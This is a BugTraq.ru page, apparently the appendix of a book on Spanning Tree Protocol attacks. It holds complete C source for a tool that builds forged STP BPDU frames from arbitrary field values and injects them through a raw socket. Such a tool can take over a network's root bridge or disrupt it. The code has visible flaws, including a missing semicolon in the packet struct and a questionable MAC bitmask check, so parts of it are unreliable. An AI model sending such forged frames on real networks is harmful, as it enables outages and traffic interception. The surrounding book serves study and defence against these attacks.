информационная безопасность
без паники и всерьез
 подробно о проекте
Rambler's Top100Spanning Tree Protocol: недокументированное применениеПортрет посетителяАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / библиотека / книги / spanning tree / программа формирования ST пакетов
SPANNING TREE
титул
содержание
введение в spanning tree протокол
STP & VLANs
STP в гетерогенных средах
замечания, вытекающие из анализа RFC 2878
комментарии к написанию кода
возможные схемы атак
получение дополнительной информации о сети
особенности реализации у различных производителей
замечания по поводу Linux bridging project
замечания по поводу GARP и GVRP
обзор атак на 2 уровне OSI
уязвимые продукты
примеры уязвимых сетей
как администраторы могут противостоять атакам
как IDS могут обнаружить STP атаки
корни проблемы, или "откуда ноги растут"
что делать производителям
эпилог
благодарности
ссылки
список литературы
глоссарий
программа формирования ST пакетов
сценарий для запуска программы




Подписка:
BuqTraq: Обзор
RSN
БСК
Закон есть закон




Программа формирования ST пакетов
/*
 * Written 2001-09-23
 *
 * Copyright 2001 Vladislav V. Myasnyankin, Yekaterinburg Russia
 * hugevlad@yahoo.com http://cybervlad.port5.com
 * All rights reserved.
 * 
 * WARNING! Be very careful, because you can occasionaly crash
 * your network.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Library General Public License
 * as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
 * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */
 
#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define DEFAULT_DEVICE "eth0"
#define ETH_HW_ADDR_LEN 6

char usage[]={
"usage: stp \
[-v] \
[-dev <device>] \
[-dmac <dmac>] \
[-smac <smac>] \n\
-protoid <proto_id> \
-protovid <proto_v_id> \
-bpdu <bpdutype> \
-flags <flags> \n\
-rootid <rootid> \
-rootpc <rootpc> \
-brid <brid> \
-portid <portid> \
-mage <mage> \n\
-maxage <maxage> \
-htime <hellotime> \
-fdelay <fdelay> \n\
where:\n\
-v - be verbose and write output to file packet.dmp instead socket \n\
device - ethernet device name (default - eth0)\n\
dmac - destination MAC (default - 01:80:C2:00:00:00)\n\
smac - source MAC (default - MAC on given or default device)\n\
proto_id - Protocol Identifier (hex, 2 bytes)\n\
proto_v_id - Protocol Version Identifier (hex, 1 byte)\n\
bpdutype - BPDU type (hex, 1 byte)\n\
flags - flags value (hex, 1 byte)\n\
rootid - Root Identifier (hex, 8 bytes)\n\
rootpc - Root Path Cost (hex, 4 bytes)\n\
brid - Bridge Identifier (hex, 8 bytes)\n\
portid - Port Identifier (hex, 2 bytes)\n\
mage - Message Age (hex, 2 bytes)\n\
maxage - Max Age (hex, 2 bytes)\n\
hellotime - Hello Time (hex, 2 bytes)\n\
fdelay - Forward Delay (hex, 2 bytes)\n\
\n"};

struct bpdu_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN]; /* dest. ether address */
        u_char src_hw_addr[ETH_HW_ADDR_LEN];  /* src. ether address */
        u_char frame_type[2];                 /* 0x00 0x26 */
        u_char llc_dest;                      /* 0x42 */
        u_char llc_src;             /* 0x42 */
        u_char unknown;             /* 03 why? I don`t know :( */
        u_char proto_id[2];         /* Protocol Identifier */
        u_char proto_v_id;          /* Protocol Version Identifier */
        u_char bpdu_type;           /* BPDU Type */
        u_char flags;               /* Flags */
        u_char rootid[8];           /* Root Identifier */
        u_char rootpc[4];           /* Root Path Cost */
        u_char brid[8];             /* Bridge Identifier */
        u_char portid[2];           /* Port Identifier */
        u_char mage[2];             /* Message Age */
        u_char maxage[2];           /* Max Age */
        u_char hellotime[2]         /* Hello Time */
        u_char fdelay[2];           /* Forward Delay */
        u_char padding[8];          /* padding packet to 60 bytes */
};

void fireexit(char *); /* print error message and exit with code 1*/
void get_hex_value(char*,char*,int); /* convert string to hex */


/**** MAIN PART *****/
int main(int argc,char** argv){

FILE *f;
struct bpdu_packet pkt1;
struct sockaddr saddr;
struct ifreq ifr;
int sd,i;
char eth_dev[30];
unsigned char verbose=0;
unsigned int complete=0;
/*
array of bites:
14 device        7 rootid        0 fdelay
13 dmac          6 rootpc
12 smac          5 brid
11 proto_id      4 portid
10 proto_v_id    3 mage
9 bpdutype       2 maxage
8 flags          1 hellotime
*/


strncpy(eth_dev,DEFAULT_DEVICE,29);

for(i=1; i<argc; i++){
   if (!strncasecmp(argv[i],"-v",2)) verbose=1;
   if (!strncasecmp(argv[i],"-dev",4)){
      if (verbose) printf("Device: ");
      strncpy(eth_dev,argv[++i],29);
      if (verbose) printf("Ok\n");
      complete|=0x4000;
      };
   if (!strncasecmp(argv[i],"-dmac",5)){
      if (verbose) printf("Destination MAC: ");
      get_hex_value(pkt1.targ_hw_addr,argv[++i],6);
      if (verbose) printf("Ok\n");
      complete|=0x2000;
      };
   if (!strncasecmp(argv[i],"-smac",5)){
      if (verbose) printf("Source MAC: ");
      get_hex_value(pkt1.src_hw_addr,argv[++i],6);
      if (verbose) printf("Ok\n");
      complete|=0x1000;
      };
   if (!strncasecmp(argv[i],"-protoid",8)){
      if (verbose) printf("Protocol Identifier: ");
      get_hex_value(pkt1.proto_id,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0800;
      };
   if (!strncasecmp(argv[i],"-protovid",9)){
      if (verbose) printf("Protocol Version Identifier: ");
      get_hex_value(&pkt1.proto_v_id,argv[++i],1);
      if (verbose) printf("Ok\n");
      complete|=0x0400;
      };
   if (!strncasecmp(argv[i],"-bpdu",5)){
      if (verbose) printf("BPDU Type: ");
      get_hex_value(&pkt1.bpdu_type,argv[++i],1);
      if (verbose) printf("Ok\n");
      complete|=0x0200;
      };
   if (!strncasecmp(argv[i],"-flags",6)){
      if (verbose) printf("Flags: ");
      get_hex_value(&pkt1.flags,argv[++i],1);
      if (verbose) printf("Ok\n");
      complete|=0x0100;
      };
   if (!strncasecmp(argv[i],"-rootid",7)){
      if (verbose) printf("Root Identifier: ");
      get_hex_value(pkt1.rootid,argv[++i],8);
      if (verbose) printf("Ok\n");
      complete|=0x0080;
      };
   if (!strncasecmp(argv[i],"-rootpc",7)){
      if (verbose) printf("Root Path Cost: ");
      get_hex_value(pkt1.rootpc,argv[++i],4);
      if (verbose) printf("Ok\n");
      complete|=0x0040;
      };
   if (!strncasecmp(argv[i],"-brid",5)){
      if (verbose) printf("Bridge Identifier: ");
      get_hex_value(pkt1.brid,argv[++i],8);
      if (verbose) printf("Ok\n");
      complete|=0x0020;
      };
   if (!strncasecmp(argv[i],"-portid",7)){
      if (verbose) printf("Port Identifier: ");
      get_hex_value(pkt1.portid,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0010;
      };
   if (!strncasecmp(argv[i],"-mage",5)){
      if (verbose) printf("Message Age: ");
      get_hex_value(pkt1.mage,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0008;
      };
   if (!strncasecmp(argv[i],"-maxage",7)){
      if (verbose) printf("Max Age: ");
      get_hex_value(pkt1.maxage,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0004;
      };
   if (!strncasecmp(argv[i],"-htime",6)){
      if (verbose) printf("Hello Time: ");
      get_hex_value(pkt1.hellotime,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0002;
      };
   if (!strncasecmp(argv[i],"-fdelay",7)){
      if (verbose) printf("Forward delay: ");
      get_hex_value(pkt1.fdelay,argv[++i],2);
      if (verbose) printf("Ok\n");
      complete|=0x0001;
      };
};

/* Check, if all needed parameters set */
if ((complete & 0x0FFF) < 0x0FFF) fireexit(usage);

/* Set constant values */
pkt1.frame_type[0]=0x00;
pkt1.frame_type[1]=0x26;
pkt1.llc_dest=0x42;
pkt1.llc_src=0x42;
pkt1.unknown=03;
bzero(pkt1.padding,8);

if (verbose) {
    f=fopen("packet.dmp","a");
    fwrite(&pkt1,1,sizeof(pkt1),f);
    fclose(f);
    exit(0);
    };

/* Open raw socket */
if ((sd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0){
        perror("Can't get raw socket: ");
        exit(1);
        }

/* Get our hardware address, if not given */
if (!(complete & (12<<1))){
    strcpy(ifr.ifr_name, eth_dev);
    if (ioctl(sd, SIOCGIFHWADDR, &ifr) < 0){
	 perror("Can't get hardware address: ");
         close(sd);
         exit(1);
        };
    memcpy(pkt1.src_hw_addr,ifr.ifr_hwaddr.sa_data,6);
    };

/* Set device to use */
strcpy(saddr.sa_data,eth_dev);

/* Send prepared packet */
if(sendto(sd,&pkt1,sizeof(pkt1),0,&saddr,sizeof(saddr)) < 0)
   perror("Send packet");

/* Close socket */
close(sd);

exit(0);
}

/*************** END MAIN PART ********************/

void fireexit(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_hex_value(char* buf,char* str,int len){

int i;
char c,val;

for(i=0;i<len;i++){
        if( !(c = tolower(*str++))) fireexit("Invalid hex value");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else fireexit("Invalid hex value");

        *buf = val << 4;
        if( !(c = tolower(*str++))) fireexit("Invalid hex value");
        if(isdigit(c)) val = c-'0';
        else if(c >= 'a' && c <= 'f') val = c-'a'+10;
        else fireexit("Invalid hex value");

        *buf++ |= val;

        if(*str == ':')str++;
        }
}




Rambler's Top100
Рейтинг@Mail.ru



назад «     » вперед


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach